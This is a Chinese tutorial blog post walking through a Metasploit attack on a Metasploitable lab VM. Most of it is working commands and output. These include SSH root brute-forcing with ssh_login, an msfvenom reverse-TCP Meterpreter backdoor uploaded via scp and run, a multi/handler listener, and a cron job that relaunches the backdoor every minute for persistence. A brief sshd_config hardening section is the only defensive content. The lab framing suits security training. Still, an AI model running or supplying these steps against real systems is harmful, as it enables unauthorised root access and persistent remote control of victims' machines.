MSF-Linux系统攻防

攻击侧重

inux是开源系统,系统漏洞较少

攻击侧重点在软件和协议

ssh协议基于用户名密码进行登录且linux服务器大概率具有root用户,可以尝试进行暴力破解

1.创建密码字典

vim passwd.txt

写入密码

2.进入msf搜索ssh登录脚本并使用

┌──(root㉿kali)-[~]
└─# msfconsole -q  

msf6 > 
msf6 > search ssh_login

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey                                          

msf6 > use 0

3.设置目标主机地址,用户名,密码字典

msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.10.143 //目标地址
rhosts => 192.168.10.143
msf6 auxiliary(scanner/ssh/ssh_login) > set username root //用户名
username => root
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file ./passwd //密码文件
pass_file => ./passwd

4.运行脚本,查看会话状态并切换

msf6 auxiliary(scanner/ssh/ssh_login) > run \\运行脚本

[*] 192.168.10.143:22 - Starting bruteforce
[+] 192.168.10.143:22 - Success: 'root:123456' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.10.224:43457 -> 192.168.10.143:22) at 2024-04-05 16:15:12 +0800
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/ssh/ssh_login) > sessions \\ 查看会话表

Active sessions
===============

  Id  Name  Type         Information                  Connection
  --  ----       ----              -----------                          ----------
  1         shell linux     SSH root @             192.168.10.224:43457 -> 192.168.10.143:22 (192.168.10.143)

msf6 auxiliary(scanner/ssh/ssh_login) > sessions 1 切换会话
[*] Starting interaction with 1...

stdin: is not a tty
whoami
root

防止ssh暴力破解方法             

root@metasploitable:~# vim /etc/ssh/sshd_config         //SSH服务配置文件
 5  Port 12345                           //修改端口为12345
 25 LoginGraceTime 1m                    //修改登录验证总耗时,1分钟
 26 PermitRootLogin no                   //修改不允许root远程登录
 28 MaxAuthTries 2                       //新增一行,最大试错次数,2次
 29 AllowUsers msfadmin@192.168.10.1     //新增一行,仅允许指定用户在指定IP上登录
root@metasploitable:~# /etc/init.d/ssh  restart         //重启SSH服务

持久性后门建立

1.创建后门文件

┌──(root㉿kali)-[~]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf -o shell

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: shell

命令解析

msfvenom:Metasploit框架中的一个工具,用于生成各种类型的后门程序和有效载荷   

-p:指定有效载荷

linux/x86/meterpreter/reverse_tcp针对Linux x86架构的Meterpreter反向TCP连接有效载荷 

lhost:指定攻击机地址

lport:指定攻击机端口

-f elf:-f 指定输出文件的格式,elf代表生成的是一个Linux可执行文件

-o shell:指定输出文件的名称。

验证创建是否成功                                                                                                                 

┌──(root㉿kali)-[~]
└─# ls      
shell

 植入后门程序

┌──(root㉿kali)-[~]
└─# scp shell root@192.168.10.143:/mnt             //上传到靶机/mnt下
The authenticity of host '192.168.10.143 (192.168.10.143)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  //确认连接
Warning: Permanently added '192.168.10.143' (RSA) to the list of known hosts.
root@192.168.10.143's password: tedu.cn1234      //以root的身份
shell           100%  207     6.0KB/s   00:00    //上传成功

 scp传输文件报错

编写ssh配置文件

┌──(root㉿kali)-[~]
└─# vim ./.ssh/config 

添加

Host *【对所有的SSH服务器应用以下配置。】

HostkeyAlgorithms +ssh-rsa【向支持的主机密钥算法列表添加ssh-rsa。前缀+表示添加到当前的列表中,而不是替换它。】

PubkeyAcceptedKeyTypes +ssh-rsa【同样,向支持的公钥类型列表添加ssh-rsa算法。】

手动激活后门程序

┌──(root㉿kali)-[~]
└─# ssh  root@192.168.10.143                      //远程连接目标主机root用户
root@192.168.10.143's password: tedu.cn1234       
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
……
Last login: Tue Jan  3 01:19:03 2023 from 192.168.10.1
root@metasploitable:~# ls -l /mnt/shell           //查看shell是否拥有可执行权限
-rw-r--r-- 1 root root 207 2023-01-03 03:54 /mnt/shell
root@metasploitable:~# chmod  a+x  /mnt/shell     //为全部用户添加执行权限
root@metasploitable:~# ls  -l  /mnt/shell 
-rwxr-xr-x 1 root root 207 2023-01-03 03:54 /mnt/shell

root@metasploitable:~# /mnt/shell &              //在后台执行shell后门程序

通过后门连接目标主机 【再开一个终端执行】

┌──(root㉿kali)-[~]
└─# msfconsole
msf6 > use  exploit/multi/handler                            //调用侦听模块
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.10.224       //设置响应的IP地址
msf6 exploit(multi/handler) > set lport  4444                //设置响应的端口号
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp  //调用基于TCP的反弹载荷
msf6 exploit(multi/handler) > run 
meterpreter >                                               //进入meterpreter说明连接成功

创建计划任务,自动执行后门文件

创建计划任务持续运行后门文件【在第一个终端执行】

先ctrl + c终止之前的程序

root@metasploitable:~# EDITOR=vim crontab -e      //调用vim编辑
  * * * * * /bin/date>>/tmp/time.txt
  * * * * * /mnt/shell &                          //每分钟执行/mnt/shell后门程序

连接后门程序,查看会话【在第二个终端执行】

先ctrl + c终止之前的程序

msf6 exploit(multi/handler) > run             //连接后门程序
meterpreter > background                      //如进行其它任务,把当前任务放入后台
[*] Backgrounding session 8...
msf6 exploit(multi/handler) > sessions        //查看所有会话
Id  Name  Type              Information                                                                            Connection
--  ----  ----                   -----------                                                                       ----------
8         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.10.136:4444 -> 192.168.10.143:36084 (192.168.10.143)
msf6 exploit(multi/handler) > sessions 8      //切换到会话
[*] Starting interaction with 8...

 

  • 25
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值